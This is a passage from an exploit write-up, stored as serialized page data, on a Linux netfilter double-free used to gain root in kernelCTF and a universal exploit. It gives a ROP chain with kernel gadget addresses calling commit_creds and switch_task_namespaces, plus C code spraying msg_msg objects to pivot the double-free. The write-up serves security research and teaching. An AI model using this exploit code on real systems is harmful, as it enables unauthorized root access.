namespace",{"type":23,"tag":32,"props":58818,"children":58819},{},[58820,58822,58828,58830,58836,58838,58844,58846,58852,58854,58859,58861,58867],{"type":29,"value":58821},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":154,"props":58823,"children":58825},{"className":58824},[],[58826],{"type":29,"value":58827},"find_task_by_vpid(1)",{"type":29,"value":58829}," passed through ",{"type":23,"tag":154,"props":58831,"children":58833},{"className":58832},[],[58834],{"type":29,"value":58835},"rax",{"type":29,"value":58837}," to ",{"type":23,"tag":154,"props":58839,"children":58841},{"className":58840},[],[58842],{"type":29,"value":58843},"rdi",{"type":29,"value":58845},". What I ended up going with was a ",{"type":23,"tag":154,"props":58847,"children":58849},{"className":58848},[],[58850],{"type":29,"value":58851},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":58853}," gadget, that allowed me to push the ",{"type":23,"tag":154,"props":58855,"children":58857},{"className":58856},[],[58858],{"type":29,"value":58835},{"type":29,"value":58860}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":154,"props":58862,"children":58864},{"className":58863},[],[58865],{"type":29,"value":58866},"pop rdi; ret",{"type":29,"value":58868}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":1022,"props":58870,"children":58871},{},[58872,58877,58890],{"type":23,"tag":143,"props":58873,"children":58874},{},[58875],{"type":29,"value":58876},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":143,"props":58878,"children":58879},{},[58880,58882,58888],{"type":29,"value":58881},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":154,"props":58883,"children":58885},{"className":58884},[],[58886],{"type":29,"value":58887},"pop rdi; ret;",{"type":29,"value":58889}," location)",{"type":23,"tag":143,"props":58891,"children":58892},{},[58893,58898],{"type":23,"tag":154,"props":58894,"children":58896},{"className":58895},[],[58897],{"type":29,"value":58866},{"type":29,"value":58899}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":4743,"props":58901,"children":58903},{"className":31164,"code":58902,"language":31166,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[58904],{"type":23,"tag":154,"props":58905,"children":58906},{"__ignoreMap":7},[58907,58914,58931,58976,59012,59048,59055,59063,59106,59137,59173,59218,59273,59318,59325,59333,59376,59412,59448],{"type":23,"tag":504,"props":58908,"children":58909},{"class":5016,"line":5017},[58910],{"type":23,"tag":504,"props":58911,"children":58912},{"style":5058},[58913],{"type":29,"value":12364},{"type":23,"tag":504,"props":58915,"children":58916},{"class":5016,"line":4868},[58917,58922,58927],{"type":23,"tag":504,"props":58918,"children":58919},{"style":5058},[58920],{"type":29,"value":58921},"    // commit_creds(&",{"type":23,"tag":504,"props":58923,"children":58924},{"style":5041},[58925],{"type":29,"value":58926},"init_cred",{"type":23,"tag":504,"props":58928,"children":58929},{"style":5058},[58930],{"type":29,"value":5888},{"type":23,"tag":504,"props":58932,"children":58933},{"class":5016,"line":4876},[58934,58938,58942,58946,58950,58954,58958,58962,58967,58971],{"type":23,"tag":504,"props":58935,"children":58936},{"style":5041},[58937],{"type":29,"value":58231},{"type":23,"tag":504,"props":58939,"children":58940},{"style":5058},[58941],{"type":29,"value":58745},{"type":23,"tag":504,"props":58943,"children":58944},{"style":5047},[58945],{"type":29,"value":53331},{"type":23,"tag":504,"props":58947,"children":58948},{"style":5058},[58949],{"type":29,"value":10706},{"type":23,"tag":504,"props":58951,"children":58952},{"style":5047},[58953],{"type":29,"value":546},{"type":23,"tag":504,"props":58955,"children":58956},{"style":5058},[58957],{"type":29,"value":58252},{"type":23,"tag":504,"props":58959,"children":58960},{"style":5047},[58961],{"type":29,"value":6422},{"type":23,"tag":504,"props":58963,"children":58964},{"style":5083},[58965],{"type":29,"value":58966}," 0xffffffff8112c7c0",{"type":23,"tag":504,"props":58968,"children":58969},{"style":5058},[58970],{"type":29,"value":51137},{"type":23,"tag":504,"props":58972,"children":58973},{"style":5021},[58974],{"type":29,"value":58975}," // pop rdi; ret;\n",{"type":23,"tag":504,"props":58977,"children":58978},{"class":5016,"line":5099},[58979,58983,58987,58991,58995,58999,59003,59007],{"type":23,"tag":504,"props":58980,"children":58981},{"style":5041},[58982],{"type":29,"value":58231},{"type":23,"tag":504,"props":58984,"children":58985},{"style":5058},[58986],{"type":29,"value":58745},{"type":23,"tag":504,"props":58988,"children":58989},{"style":5047},[58990],{"type":29,"value":53331},{"type":23,"tag":504,"props":58992,"children":58993},{"style":5058},[58994],{"type":29,"value":10706},{"type":23,"tag":504,"props":58996,"children":58997},{"style":5047},[58998],{"type":29,"value":546},{"type":23,"tag":504,"props":59000,"children":59001},{"style":5058},[59002],{"type":29,"value":58252},{"type":23,"tag":504,"props":59004,"children":59005},{"style":5047},[59006],{"type":29,"value":6422},{"type":23,"tag":504,"props":59008,"children":59009},{"style":5058},[59010],{"type":29,"value":59011}," INIT_CRED;\n",{"type":23,"tag":504,"props":59013,"children":59014},{"class":5016,"line":5203},[59015,59019,59023,59027,59031,59035,59039,59043],{"type":23,"tag":504,"props":59016,"children":59017},{"style":5041},[59018],{"type":29,"value":58231},{"type":23,"tag":504,"props":59020,"children":59021},{"style":5058},[59022],{"type":29,"value":58745},{"type":23,"tag":504,"props":59024,"children":59025},{"style":5047},[59026],{"type":29,"value":53331},{"type":23,"tag":504,"props":59028,"children":59029},{"style":5058},[59030],{"type":29,"value":10706},{"type":23,"tag":504,"props":59032,"children":59033},{"style":5047},[59034],{"type":29,"value":546},{"type":23,"tag":504,"props":59036,"children":59037},{"style":5058},[59038],{"type":29,"value":58252},{"type":23,"tag":504,"props":59040,"children":59041},{"style":5047},[59042],{"type":29,"value":6422},{"type":23,"tag":504,"props":59044,"children":59045},{"style":5058},[59046],{"type":29,"value":59047}," COMMIT_CREDS;\n",{"type":23,"tag":504,"props":59049,"children":59050},{"class":5016,"line":5308},[59051],{"type":23,"tag":504,"props":59052,"children":59053},{"emptyLinePlaceholder":15},[59054],{"type":29,"value":5734},{"type":23,"tag":504,"props":59056,"children":59057},{"class":5016,"line":5336},[59058],{"type":23,"tag":504,"props":59059,"children":59060},{"style":5021},[59061],{"type":29,"value":59062},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":504,"props":59064,"children":59065},{"class":5016,"line":5349},[59066,59070,59074,59078,59082,59086,59090,59094,59098,59102],{"type":23,"tag":504,"props":59067,"children":59068},{"style":5041},[59069],{"type":29,"value":58231},{"type":23,"tag":504,"props":59071,"children":59072},{"style":5058},[59073],{"type":29,"value":58745},{"type":23,"tag":504,"props":59075,"children":59076},{"style":5047},[59077],{"type":29,"value":53331},{"type":23,"tag":504,"props":59079,"children":59080},{"style":5058},[59081],{"type":29,"value":10706},{"type":23,"tag":504,"props":59083,"children":59084},{"style":5047},[59085],{"type":29,"value":546},{"type":23,"tag":504,"props":59087,"children":59088},{"style":5058},[59089],{"type":29,"value":58252},{"type":23,"tag":504,"props":59091,"children":59092},{"style":5047},[59093],{"type":29,"value":6422},{"type":23,"tag":504,"props":59095,"children":59096},{"style":5083},[59097],{"type":29,"value":58966},{"type":23,"tag":504,"props":59099,"children":59100},{"style":5058},[59101],{"type":29,"value":51137},{"type":23,"tag":504,"props":59103,"children":59104},{"style":5021},[59105],{"type":29,"value":58975},{"type":23,"tag":504,"props":59107,"children":59108},{"class":5016,"line":5367},[59109,59113,59117,59121,59125,59129,59133],{"type":23,"tag":504,"props":59110,"children":59111},{"style":5041},[59112],{"type":29,"value":58231},{"type":23,"tag":504,"props":59114,"children":59115},{"style":5058},[59116],{"type":29,"value":58745},{"type":23,"tag":504,"props":59118,"children":59119},{"style":5047},[59120],{"type":29,"value":53331},{"type":23,"tag":504,"props":59122,"children":59123},{"style":5058},[59124],{"type":29,"value":10706},{"type":23,"tag":504,"props":59126,"children":59127},{"style":5047},[59128],{"type":29,"value":546},{"type":23,"tag":504,"props":59130,"children":59131},{"style":5083},[59132],{"type":29,"value":6565},{"type":23,"tag":504,"props":59134,"children":59135},{"style":5058},[59136],{"type":29,"value":5061},{"type":23,"tag":504,"props":59138,"children":59139},{"class":5016,"line":5388},[59140,59144,59148,59152,59156,59160,59164,59168],{"type":23,"tag":504,"props":59141,"children":59142},{"style":5041},[59143],{"type":29,"value":58231},{"type":23,"tag":504,"props":59145,"children":59146},{"style":5058},[59147],{"type":29,"value":58745},{"type":23,"tag":504,"props":59149,"children":59150},{"style":5047},[59151],{"type":29,"value":53331},{"type":23,"tag":504,"props":59153,"children":59154},{"style":5058},[59155],{"type":29,"value":10706},{"type":23,"tag":504,"props":59157,"children":59158},{"style":5047},[59159],{"type":29,"value":546},{"type":23,"tag":504,"props":59161,"children":59162},{"style":5058},[59163],{"type":29,"value":58252},{"type":23,"tag":504,"props":59165,"children":59166},{"style":5047},[59167],{"type":29,"value":6422},{"type":23,"tag":504,"props":59169,"children":59170},{"style":5058},[59171],{"type":29,"value":59172}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":504,"props":59174,"children":59175},{"class":5016,"line":5397},[59176,59180,59184,59188,59192,59196,59200,59204,59209,59213],{"type":23,"tag":504,"props":59177,"children":59178},{"style":5041},[59179],{"type":29,"value":58231},{"type":23,"tag":504,"props":59181,"children":59182},{"style":5058},[59183],{"type":29,"value":58745},{"type":23,"tag":504,"props":59185,"children":59186},{"style":5047},[59187],{"type":29,"value":53331},{"type":23,"tag":504,"props":59189,"children":59190},{"style":5058},[59191],{"type":29,"value":10706},{"type":23,"tag":504,"props":59193,"children":59194},{"style":5047},[59195],{"type":29,"value":546},{"type":23,"tag":504,"props":59197,"children":59198},{"style":5058},[59199],{"type":29,"value":58252},{"type":23,"tag":504,"props":59201,"children":59202},{"style":5047},[59203],{"type":29,"value":6422},{"type":23,"tag":504,"props":59205,"children":59206},{"style":5083},[59207],{"type":29,"value":59208}," 0xffffffff8102e2a6",{"type":23,"tag":504,"props":59210,"children":59211},{"style":5058},[59212],{"type":29,"value":51137},{"type":23,"tag":504,"props":59214,"children":59215},{"style":5021},[59216],{"type":29,"value":59217}," // pop rsi; ret;\n",{"type":23,"tag":504,"props":59219,"children":59220},{"class":5016,"line":5649},[59221,59225,59229,59233,59237,59241,59246,59250,59255,59259,59264,59268],{"type":23,"tag":504,"props":59222,"children":59223},{"style":5041},[59224],{"type":29,"value":58231},{"type":23,"tag":504,"props":59226,"children":59227},{"style":5058},[59228],{"type":29,"value":58745},{"type":23,"tag":504,"props":59230,"children":59231},{"style":5047},[59232],{"type":29,"value":53331},{"type":23,"tag":504,"props":59234,"children":59235},{"style":5058},[59236],{"type":29,"value":10706},{"type":23,"tag":504,"props":59238,"children":59239},{"style":5047},[59240],{"type":29,"value":546},{"type":23,"tag":504,"props":59242,"children":59243},{"style":5058},[59244],{"type":29,"value":59245}," obj_ptr ",{"type":23,"tag":504,"props":59247,"children":59248},{"style":5047},[59249],{"type":29,"value":6422},{"type":23,"tag":504,"props":59251,"children":59252},{"style":5083},[59253],{"type":29,"value":59254}," 0xe0",{"type":23,"tag":504,"props":59256,"children":59257},{"style":5047},[59258],{"type":29,"value":53317},{"type":23,"tag":504,"props":59260,"children":59261},{"style":5083},[59262],{"type":29,"value":59263}," 0x66",{"type":23,"tag":504,"props":59265,"children":59266},{"style":5058},[59267],{"type":29,"value":51137},{"type":23,"tag":504,"props":59269,"children":59270},{"style":5021},[59271],{"type":29,"value":59272},"            // rax -> rdi and resume rop\n",{"type":23,"tag":504,"props":59274,"children":59275},{"class":5016,"line":5666},[59276,59280,59284,59288,59292,59296,59300,59304,59309,59313],{"type":23,"tag":504,"props":59277,"children":59278},{"style":5041},[59279],{"type":29,"value":58231},{"type":23,"tag":504,"props":59281,"children":59282},{"style":5058},[59283],{"type":29,"value":58745},{"type":23,"tag":504,"props":59285,"children":59286},{"style":5047},[59287],{"type":29,"value":53331},{"type":23,"tag":504,"props":59289,"children":59290},{"style":5058},[59291],{"type":29,"value":10706},{"type":23,"tag":504,"props":59293,"children":59294},{"style":5047},[59295],{"type":29,"value":546},{"type":23,"tag":504,"props":59297,"children":59298},{"style":5058},[59299],{"type":29,"value":58252},{"type":23,"tag":504,"props":59301,"children":59302},{"style":5047},[59303],{"type":29,"value":6422},{"type":23,"tag":504,"props":59305,"children":59306},{"style":5083},[59307],{"type":29,"value":59308}," 0xffffffff81caed31",{"type":23,"tag":504,"props":59310,"children":59311},{"style":5058},[59312],{"type":29,"value":51137},{"type":23,"tag":504,"props":59314,"children":59315},{"style":5021},[59316],{"type":29,"value":59317}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":504,"props":59319,"children":59320},{"class":5016,"line":5683},[59321],{"type":23,"tag":504,"props":59322,"children":59323},{"emptyLinePlaceholder":15},[59324],{"type":29,"value":5734},{"type":23,"tag":504,"props":59326,"children":59327},{"class":5016,"line":5696},[59328],{"type":23,"tag":504,"props":59329,"children":59330},{"style":5021},[59331],{"type":29,"value":59332},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":504,"props":59334,"children":59335},{"class":5016,"line":5705},[59336,59340,59344,59348,59352,59356,59360,59364,59368,59372],{"type":23,"tag":504,"props":59337,"children":59338},{"style":5041},[59339],{"type":29,"value":58231},{"type":23,"tag":504,"props":59341,"children":59342},{"style":5058},[59343],{"type":29,"value":58745},{"type":23,"tag":504,"props":59345,"children":59346},{"style":5047},[59347],{"type":29,"value":53331},{"type":23,"tag":504,"props":59349,"children":59350},{"style":5058},[59351],{"type":29,"value":10706},{"type":23,"tag":504,"props":59353,"children":59354},{"style":5047},[59355],{"type":29,"value":546},{"type":23,"tag":504,"props":59357,"children":59358},{"style":5058},[59359],{"type":29,"value":58252},{"type":23,"tag":504,"props":59361,"children":59362},{"style":5047},[59363],{"type":29,"value":6422},{"type":23,"tag":504,"props":59365,"children":59366},{"style":5083},[59367],{"type":29,"value":59208},{"type":23,"tag":504,"props":59369,"children":59370},{"style":5058},[59371],{"type":29,"value":51137},{"type":23,"tag":504,"props":59373,"children":59374},{"style":5021},[59375],{"type":29,"value":59217},{"type":23,"tag":504,"props":59377,"children":59378},{"class":5016,"line":5728},[59379,59383,59387,59391,59395,59399,59403,59407],{"type":23,"tag":504,"props":59380,"children":59381},{"style":5041},[59382],{"type":29,"value":58231},{"type":23,"tag":504,"props":59384,"children":59385},{"style":5058},[59386],{"type":29,"value":58745},{"type":23,"tag":504,"props":59388,"children":59389},{"style":5047},[59390],{"type":29,"value":53331},{"type":23,"tag":504,"props":59392,"children":59393},{"style":5058},[59394],{"type":29,"value":10706},{"type":23,"tag":504,"props":59396,"children":59397},{"style":5047},[59398],{"type":29,"value":546},{"type":23,"tag":504,"props":59400,"children":59401},{"style":5058},[59402],{"type":29,"value":58252},{"type":23,"tag":504,"props":59404,"children":59405},{"style":5047},[59406],{"type":29,"value":6422},{"type":23,"tag":504,"props":59408,"children":59409},{"style":5058},[59410],{"type":29,"value":59411}," INIT_NSPROXY;\n",{"type":23,"tag":504,"props":59413,"children":59414},{"class":5016,"line":5737},[59415,59419,59423,59427,59431,59435,59439,59443],{"type":23,"tag":504,"props":59416,"children":59417},{"style":5041},[59418],{"type":29,"value":58231},{"type":23,"tag":504,"props":59420,"children":59421},{"style":5058},[59422],{"type":29,"value":58745},{"type":23,"tag":504,"props":59424,"children":59425},{"style":5047},[59426],{"type":29,"value":53331},{"type":23,"tag":504,"props":59428,"children":59429},{"style":5058},[59430],{"type":29,"value":10706},{"type":23,"tag":504,"props":59432,"children":59433},{"style":5047},[59434],{"type":29,"value":546},{"type":23,"tag":504,"props":59436,"children":59437},{"style":5058},[59438],{"type":29,"value":58252},{"type":23,"tag":504,"props":59440,"children":59441},{"style":5047},[59442],{"type":29,"value":6422},{"type":23,"tag":504,"props":59444,"children":59445},{"style":5058},[59446],{"type":29,"value":59447}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":504,"props":59449,"children":59450},{"class":5016,"line":5746},[59451],{"type":23,"tag":504,"props":59452,"children":59453},{"style":5058},[59454],{"type":29,"value":12364},{"type":23,"tag":320,"props":59456,"children":59458},{"id":59457},"grabbing-the-kernelctf-flag",[59459],{"type":29,"value":59460},"Grabbing the kernelCTF flag",{"type":23,"tag":32,"props":59462,"children":59463},{},[59464,59468,59470,59477],{"type":23,"tag":199,"props":59465,"children":59467},{"alt":201,"src":59466},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":59469},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":68,"props":59471,"children":59474},{"href":59472,"rel":59473},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[72],[59475],{"type":29,"value":59476},"GitHub",{"type":29,"value":357},{"type":23,"tag":24,"props":59479,"children":59481},{"id":59480},"universal-exploit",[59482],{"type":29,"value":59483},"Universal exploit",{"type":23,"tag":32,"props":59485,"children":59486},{},[59487],{"type":29,"value":59488},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":320,"props":59490,"children":59492},{"id":59491},"pivot-capability-using-msg_msg-mlistnext-pointer",[59493],{"type":29,"value":59494},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":32,"props":59496,"children":59497},{},[59498,59500,59506,59508,59513,59515,59521],{"type":29,"value":59499},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":154,"props":59501,"children":59503},{"className":59502},[],[59504],{"type":29,"value":59505},"msg_msg",{"type":29,"value":59507}," object with with ",{"type":23,"tag":154,"props":59509,"children":59511},{"className":59510},[],[59512],{"type":29,"value":57160},{"type":29,"value":59514}," and control the ",{"type":23,"tag":154,"props":59516,"children":59518},{"className":59517},[],[59519],{"type":29,"value":59520},"m_list.next",{"type":29,"value":59522}," pointer.",{"type":23,"tag":4743,"props":59524,"children":59526},{"className":31164,"code":59525,"language":31166,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[59527],{"type":23,"tag":154,"props":59528,"children":59529},{"__ignoreMap":7},[59530,59538,59554,59575,59588,59606,59631,59647,59655,59662,59669,59677,59709],{"type":23,"tag":504,"props":59531,"children":59532},{"class":5016,"line":5017},[59533],{"type":23,"tag":504,"props":59534,"children":59535},{"style":5021},[59536],{"type":29,"value":59537},"/* one msg_msg structure for each message */\n",{"type":23,"tag":504,"props":59539,"children":59540},{"class":5016,"line":4868},[59541,59545,59550],{"type":23,"tag":504,"props":59542,"children":59543},{"style":5030},[59544],{"type":29,"value":11448},{"type":23,"tag":504,"props":59546,"children":59547},{"style":5467},[59548],{"type":29,"value":59549}," msg_msg",{"type":23,"tag":504,"props":59551,"children":59552},{"style":5058},[59553],{"type":29,"value":5333},{"type":23,"tag":504,"props":59555,"children":59556},{"class":5016,"line":4876},[59557,59561,59566,59571],{"type":23,"tag":504,"props":59558,"children":59559},{"style":5030},[59560],{"type":29,"value":23203},{"type":23,"tag":504,"props":59562,"children":59563},{"style":5467},[59564],{"type":29,"value":59565}," list_head",{"type":23,"tag":504,"props":59567,"children":59568},{"style":5041},[59569],{"type":29,"value":59570}," m_list",{"type":23,"tag":504,"props":59572,"children":59573},{"style":5058},[59574],{"type":29,"value":5061},{"type":23,"tag":504,"props":59576,"children":59577},{"class":5016,"line":5099},[59578,59583],{"type":23,"tag":504,"props":59579,"children":59580},{"style":5030},[59581],{"type":29,"value":59582}," long",{"type":23,"tag":504,"props":59584,"children":59585},{"style":5058},[59586],{"type":29,"value":59587}," m_type;\n",{"type":23,"tag":504,"props":59589,"children":59590},{"class":5016,"line":5203},[59591,59596,59601],{"type":23,"tag":504,"props":59592,"children":59593},{"style":5030},[59594],{"type":29,"value":59595}," size_t",{"type":23,"tag":504,"props":59597,"children":59598},{"style":5058},[59599],{"type":29,"value":59600}," m_ts;",{"type":23,"tag":504,"props":59602,"children":59603},{"style":5021},[59604],{"type":29,"value":59605},"  /* message text size */\n",{"type":23,"tag":504,"props":59607,"children":59608},{"class":5016,"line":5308},[59609,59613,59618,59622,59627],{"type":23,"tag":504,"props":59610,"children":59611},{"style":5030},[59612],{"type":29,"value":23203},{"type":23,"tag":504,"props":59614,"children":59615},{"style":5467},[59616],{"type":29,"value":59617}," msg_msgseg",{"type":23,"tag":504,"props":59619,"children":59620},{"style":5030},[59621],{"type":29,"value":11863},{"type":23,"tag":504,"props":59623,"children":59624},{"style":5041},[59625],{"type":29,"value":59626},"next",{"type":23,"tag":504,"props":59628,"children":59629},{"style":5058},[59630],{"type":29,"value":5061},{"type":23,"tag":504,"props":59632,"children":59633},{"class":5016,"line":5336},[59634,59638,59642],{"type":23,"tag":504,"props":59635,"children":59636},{"style":5030},[59637],{"type":29,"value":53112},{"type":23,"tag":504,"props":59639,"children":59640},{"style":5047},[59641],{"type":29,"value":11863},{"type":23,"tag":504,"props":59643,"children":59644},{"style":5058},[59645],{"type":29,"value":59646},"security;\n",{"type":23,"tag":504,"props":59648,"children":59649},{"class":5016,"line":5349},[59650],{"type":23,"tag":504,"props":59651,"children":59652},{"style":5021},[59653],{"type":29,"value":59654}," /* the actual message follows immediately */\n",{"type":23,"tag":504,"props":59656,"children":59657},{"class":5016,"line":5367},[59658],{"type":23,"tag":504,"props":59659,"children":59660},{"style":5058},[59661],{"type":29,"value":18625},{"type":23,"tag":504,"props":59663,"children":59664},{"class":5016,"line":5388},[59665],{"type":23,"tag":504,"props":59666,"children":59667},{"style":5058},[59668],{"type":29,"value":12364},{"type":23,"tag":504,"props":59670,"children":59671},{"class":5016,"line":5397},[59672],{"type":23,"tag":504,"props":59673,"children":59674},{"style":5058},[59675],{"type":29,"value":59676},"struct list_head {\n",{"type":23,"tag":504,"props":59678,"children":59679},{"class":5016,"line":5649},[59680,59684,59688,59692,59696,59700,59704],{"type":23,"tag":504,"props":59681,"children":59682},{"style":5030},[59683],{"type":29,"value":23203},{"type":23,"tag":504,"props":59685,"children":59686},{"style":5467},[59687],{"type":29,"value":59565},{"type":23,"tag":504,"props":59689,"children":59690},{"style":5030},[59691],{"type":29,"value":11863},{"type":23,"tag":504,"props":59693,"children":59694},{"style":5041},[59695],{"type":29,"value":59626},{"type":23,"tag":504,"props":59697,"children":59698},{"style":5058},[59699],{"type":29,"value":4367},{"type":23,"tag":504,"props":59701,"children":59702},{"style":5047},[59703],{"type":29,"value":6613},{"type":23,"tag":504,"props":59705,"children":59706},{"style":5058},[59707],{"type":29,"value":59708},"prev;\n",{"type":23,"tag":504,"props":59710,"children":59711},{"class":5016,"line":5666},[59712],{"type":23,"tag":504,"props":59713,"children":59714},{"style":5058},[59715],{"type":29,"value":18625},{"type":23,"tag":32,"props":59717,"children":59718},{},[59719,59721,59727,59729,59734],{"type":29,"value":59720},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":154,"props":59722,"children":59724},{"className":59723},[],[59725],{"type":29,"value":59726},"mlist.next",{"type":29,"value":59728}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":154,"props":59730,"children":59732},{"className":59731},[],[59733],{"type":29,"value":59505},{"type":29,"value":59735}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":32,"props":59737,"children":59738},{},[59739,59741,59746,59748],{"type":29,"value":59740},"By incrementing the next pointer of our controllable ",{"type":23,"tag":154,"props":59742,"children":59744},{"className":59743},[],[59745],{"type":29,"value":59505},{"type":29,"value":59747}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":199,"props":59749,"children":59751},{"alt":201,"src":59750},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":4743,"props":59753,"children":59755},{"className":31164,"code":59754,"language":31166,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[59756],{"type":23,"tag":154,"props":59757,"children":59758},{"__ignoreMap":7},[59759,59766,59774,59800,59817,59865,59872,59912,59944,59951,59972,59979,60026,60090,60116,60162,60186,60230,60237,60245,60281,60305,60312,60332,60339],{"type":23,"tag":504,"props":59760,"children":59761},{"class":5016,"line":5017},[59762],{"type":23,"tag":504,"props":59763,"children":59764},{"style":5058},[59765],{"type":29,"value":12364},{"type":23,"tag":504,"props":59767,"children":59768},{"class":5016,"line":4868},[59769],{"type":23,"tag":504,"props":59770,"children":59771},{"style":5058},[59772],{"type":29,"value":59773},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":504,"props":59775,"children":59776},{"class":5016,"line":4876},[59777,59782,59786,59790,59795],{"type":23,"tag":504,"props":59778,"children":59779},{"style":5058},[59780],{"type":29,"value":59781},"    msg_t *msg = calloc(1, ",{"type":23,"tag":504,"props":59783,"children":59784},{"style":5467},[59785],{"type":29,"value":57389},{"type":23,"tag":504,"props":59787,"children":59788},{"style":5058},[59789],{"type":29,"value":603},{"type":23,"tag":504,"props":59791,"children":59792},{"style":5467},[59793],{"type":29,"value":59794},"msg_t",{"type":23,"tag":504,"props":59796,"children":59797},{"style":5058},[59798],{"type":29,"value":59799},") + 0xe8 - 48);\n",{"type":23,"tag":504,"props":59801,"children":59802},{"class":5016,"line":5099},[59803,59807,59812],{"type":23,"tag":504,"props":59804,"children":59805},{"style":5030},[59806],{"type":29,"value":21128},{"type":23,"tag":504,"props":59808,"children":59809},{"style":5041},[59810],{"type":29,"value":59811}," qid",{"type":23,"tag":504,"props":59813,"children":59814},{"style":5058},[59815],{"type":29,"value":59816},"[SPRAY];\n",{"type":23,"tag":504,"props":59818,"children":59819},{"class":5016,"line":5203},[59820,59824,59828,59832,59836,59840,59844,59848,59852,59857,59861],{"type":23,"tag":504,"props":59821,"children":59822},{"style":5067},[59823],{"type":29,"value":5070},{"type":23,"tag":504,"props":59825,"children":59826},{"style":5058},[59827],{"type":29,"value":5110},{"type":23,"tag":504,"props":59829,"children":59830},{"style":5030},[59831],{"type":29,"value":21098},{"type":23,"tag":504,"props":59833,"children":59834},{"style":5058},[59835],{"type":29,"value":56605},{"type":23,"tag":504,"props":59837,"children":59838},{"style":5047},[59839],{"type":29,"value":546},{"type":23,"tag":504,"props":59841,"children":59842},{"style":5083},[59843],{"type":29,"value":5086},{"type":23,"tag":504,"props":59845,"children":59846},{"style":5058},[59847],{"type":29,"value":53295},{"type":23,"tag":504,"props":59849,"children":59850},{"style":5047},[59851],{"type":29,"value":2658},{"type":23,"tag":504,"props":59853,"children":59854},{"style":5058},[59855],{"type":29,"value":59856}," SPRAY; i",{"type":23,"tag":504,"props":59858,"children":59859},{"style":5047},[59860],{"type":29,"value":53331},{"type":23,"tag":504,"props":59862,"children":59863},{"style":5058},[59864],{"type":29,"value":5200},{"type":23,"tag":504,"props":59866,"children":59867},{"class":5016,"line":5308},[59868],{"type":23,"tag":504,"props":59869,"children":59870},{"style":5058},[59871],{"type":29,"value":31241},{"type":23,"tag":504,"props":59873,"children":59874},{"class":5016,"line":5336},[59875,59880,59884,59888,59893,59898,59903,59907],{"type":23,"tag":504,"props":59876,"children":59877},{"style":5041},[59878],{"type":29,"value":59879},"        qid",{"type":23,"tag":504,"props":59881,"children":59882},{"style":5058},[59883],{"type":29,"value":56657},{"type":23,"tag":504,"props":59885,"children":59886},{"style":5047},[59887],{"type":29,"value":546},{"type":23,"tag":504,"props":59889,"children":59890},{"style":5139},[59891],{"type":29,"value":59892}," 